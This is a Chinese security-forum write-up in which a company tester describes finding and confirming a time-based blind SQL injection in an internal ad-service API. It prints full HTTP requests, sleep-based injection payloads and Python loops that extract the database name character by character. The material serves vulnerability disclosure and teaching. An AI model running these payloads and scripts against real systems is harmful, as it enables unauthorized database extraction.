首页
社区
课程
招聘
[原创]一次不算完全的SQL延时盲注到get Database
发表于: 2021-7-13 21:35 1736

[原创]一次不算完全的SQL延时盲注到get Database

2021-7-13 21:35
1736

目录

从SQL注入延时盲注到get Database

上午一到公司,打开网页就发现一枚SQL注入,开始手工复现,确认漏洞,所以有了此文

一、漏洞发现

image-20210705223107094

 

image-20210701143345615

 

执行的SQL语句

1
SELECT COUNT(1) FROM t_ad WHERE (a`openrasp = ? AND delete_flag = ? AND ad_id <> ?)

完整Header信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
accept: */*
accept-encoding: gzip, deflate
appsource: 4
connection: keep-alive
content-length: 132
content-type: application/json;charset=UTF-8
countrycode: NG
host: 172.29.68.103:18129
scan-request-id: 3-xxxxxxxxxx-7cxxxxxxxxxx
user-agent: Java/1.8.0_251
x-b3-parentspanid: xxxxxxxxxx
x-b3-sampled: 0
x-b3-spanid: xxxxxxxxxx
x-b3-traceid: 1xxxxxxxxxx
x-iast-filter: xxxxxxxxxx==
x-span-name: http:/api/ad/fieldIsExist

请求Body

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HTTP Request:
POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: xxxxxxxxxx
x-span-name: http:/api/ad/fieldIsExist
countrycode: NG
x-b3-sampled: 0
accept: */*
x-b3-spanid: xxxxxxxxxx
x-b3-traceid: xxxxxxxxxx
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: xxxxxxxxxx==
scan-request-id: 3-c621c0e4-7ccb-47ad-963b4-b14769682c5d
 
{"field": "a`openrasp", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA97345B443D8B1E80AD12344BBA409", "platform": null}

响应包

1
2
3
4
5
6
7
8
9
10
11
HTTP Response:
HTTP Code:200
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: xxxxxxxxxx
Transfer-Encoding: chunked
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Wed, 30 Jun 2021 09:43:55 GMT
 
{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}

二、Burp Repeater

将请求包丢入到Burp的Repeater进行重放测试

 

image-20210713212706042

 

关键字openrasp所在的位置为可能存在注入的地方

 

尝试将openrasp字样删除 结果还是返回An unknown error occurred in the ad-center service

 

image-20210713212745457

1、手工Fuzz确认漏洞

a后面跟上' ----- 报错

 

此时的SQL语句大概为

1
SELECT COUNT(1) FROM t_ad WHERE (a' = ? AND delete_flag = ? AND ad_id <> ?)

image-20210713212807986

 

a后面跟上and 1=1-- ----- 报错

1
SELECT COUNT(1) FROM t_ad WHERE (a' AND 1=1 -- = ? AND delete_flag = ? AND ad_id <> ?)

image-20210713212826744

 

a修改为数字1 ----- 成功

1
SELECT COUNT(1) FROM t_ad WHERE (1 = ? AND delete_flag = ? AND ad_id <> ?)

image-20210713212849153

 

直接尝试select version() ------ 成功

1
SELECT COUNT(1) FROM t_ad WHERE (select version() = ? AND delete_flag = ? AND ad_id <> ?)

image-20210713212916284

 

返回包显示Success,猜测可能语句执行成功,但是没有返回点,故此通过sleep(3)来进行判断

 

image-20210713212938393

 

可以看到burp提示了3秒钟,尝试修改为5秒

 

image-20210713213003258

 

确认存在SQL注入

 

Payload

1
2
select version() union select sleep(5)
SELECT COUNT(1) FROM t_ad WHERE (select version() union select sleep(5) = ? AND delete_flag = ? AND ad_id <> ?)

Payload Request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: xxxxxxxxxx
x-span-name: http:/api/ad/fieldIsExist
countrycode: xxxxxxxxxx
x-b3-sampled: 0
accept: */*
x-b3-spanid: xxxxxxxxxx
x-b3-traceid: xxxxxxxxxx
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: xxxxxxxxxx==
scan-request-id: 3xxxxxxxxxx
Content-Length: 162
 
{"field": "select version() union select sleep(5)", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA973B443D8B1E80AD44BBA409", "platform": null}

Payload Response(return time 3)

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: xxxxxxxxxx
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Thu, 01 Jul 2021 06:53:40 GMT
Content-Length: 92
 
{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}

三、Python Fuzz

1、获取数据库名长度

原理就是通过传入一个数值,通过if语句来判断length(database())是否等于,如果等于就sleep(5)秒,否则返回

Tips:该接口有个比较奇怪的问题,如果该长度等于数据库长度,那么正常会先sleep(5)秒,再返回,但是在该接口中,并不会返回,会一直卡着,比如循环跑到13的时候卡住了,没有输出14的payload那么很有可能数据库的长度就是14

该问题,后续所有Fuzz都会遇到,只需要手工取出来,然后加1即可

 

Payload

1
if (length(database())=14,sleep(5),0)

image-20210701150606570

 

跑到这里的时候卡住了,那么只需要取值14即可,如何判断这个长度是14呢,将payload导入到burp中重放就可以了

 

image-20210713213127151

 

image-20210713213147564

 

长度为13的时候返回非常的快,长度14的时候返回非常慢,故此可以判断数据库名的长度为14

1-1、Payload Json

1
2
3
4
5
{
  "field": "if (length(database())=14,sleep(5),0)",
  "value": "TESTAPPAD01",
  "adId": "13CD98DA973B443D8B1E80AD44BBA409"
}

1-2、Poc

1
2
3
4
5
6
7
8
9
10
11
def getDataBasesLengthSqlFuzz():
    for Count in range(1, 100):
        data = {
            "field": "if (length(database())={},sleep(5),0)".format(Count),
            "value": "TESTAPPAD01",
            "applicationId": None,
            "adId": "13CD98DA973B443D8B1E80AD44BBA409",
            "platform": None
        }
        result = requests.post(url=url, headers=headers, data=json.dumps(data))
        print(json.dumps(data))

2、获取数据库名

原理是使用substr取database的每一位字符转成ascii与1-128进行比较,然后返回一个ascii,再进行转换就可以得到一个字符,最后将14个字符拼接起来就是数据库名

ps:这里传入的长度只能用手工来传入,例如要跑数据库名的第一个字符的值是多少,就需要传入1,第二个就需要传入2,以此类推直到14,不可以使用循环,如果使用循环,程序会卡住,问题跟上文一样,并且每一次循环获取到的值都需要加1

 

Payload

1
if (ascii(substr(database(),{xxx},1))={xxx}, sleep(3), 0)

第一个字符 97

 

image-20210701151818733

 

第二个字符 100

 

image-20210701151850750

 

第三个字符 95

 

image-20210701151929183

 

第四个字符 99

 

image-20210701152001265

 

第五个字符 101

 

image-20210701152040897

 

第六个字符 110

 

image-20210701152118945

 

第七个字符 116

 

image-20210701152154239

 

第八个字符 101

 

image-20210701152227535

 

第九个字符 114

 

image-20210701152304095

 

第十个字符 95

 

image-20210701152335952

 

第十一个字符 100

 

image-20210701152410143

 

第十二个字符 97

 

image-20210701152439279

 

第十三个字符 116

 

image-20210701152512449

 

第十四个字符 97

 

image-20210701152541311

 

为了确认长度是否是14,再跑一次长度15

 

image-20210701152715215

 

程序直接跑完了,并没有卡住,很显然,长度为14

 

ASCII字符:97 100 45 99 101 110 116 101 114 45 100 97 116 97

 

转换为字符:a d - c e n t e r - d a t a

 

image-20210701153217251

 

数据库名为:ad-center-data

 

Pyaload Json

1
2
3
4
5
{
  "field": "if (ascii(substr(database(),15,1))\u003d127, sleep(3), 0)",
  "value": "TESTAPPAD01",
  "adId": "13CD98DA973B443D8B1E80AD44BBA409"
}

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
def getDataBaseNameSqlFuzz(length):
    for j in range(1, 128):
        data = {
            "field": "if (ascii(substr(database(),{},1))={}, sleep(3), 0)".format(length, j),
            "value": "TESTAPPAD01",
            "applicationId": None,
            "adId": "13CD98DA973B443D8B1E80AD44BBA409",
            "platform": None
        }
        result = requests.post(url=url, headers=headers, data=json.dumps(data))
        print(json.dumps(data))
        print(result.json())
        print('=' * 100)

四、结尾!

本想着继续跑表的,没想到测试环境突然更新,所以没有办法继续深入了

 

image-20210701183317190

 

与开发沟通后才发现,这个字段改了,现在写死了,没办法了(边上的大佬说,你一个安全部门的没事去私聊人家开发,人家估计会想是不是有问题,你还问人家字段,那不是更离谱!)

 

image-20210705224029200

 

然后领导带我去跟开发线下对线后发现,测试部门发了一个日志给他,日志里面全是我拼接的SQL语句(一种犯罪证据被人抓出来的感觉),然后开发就紧急马上就改了,好,至此,结束!

 

image-20210713213341128


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 209
活跃值: (121)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习了,感谢楼主!
2021-7-14 06:27
0
雪    币: 21449
活跃值: (62288)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
3
感谢分享~
2021-7-14 17:04
0
雪    币: 6
活跃值: (1099)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
难得的web贴啊,支持啊
2021-7-16 20:47
0
游客
登录 | 注册 方可回帖
返回
//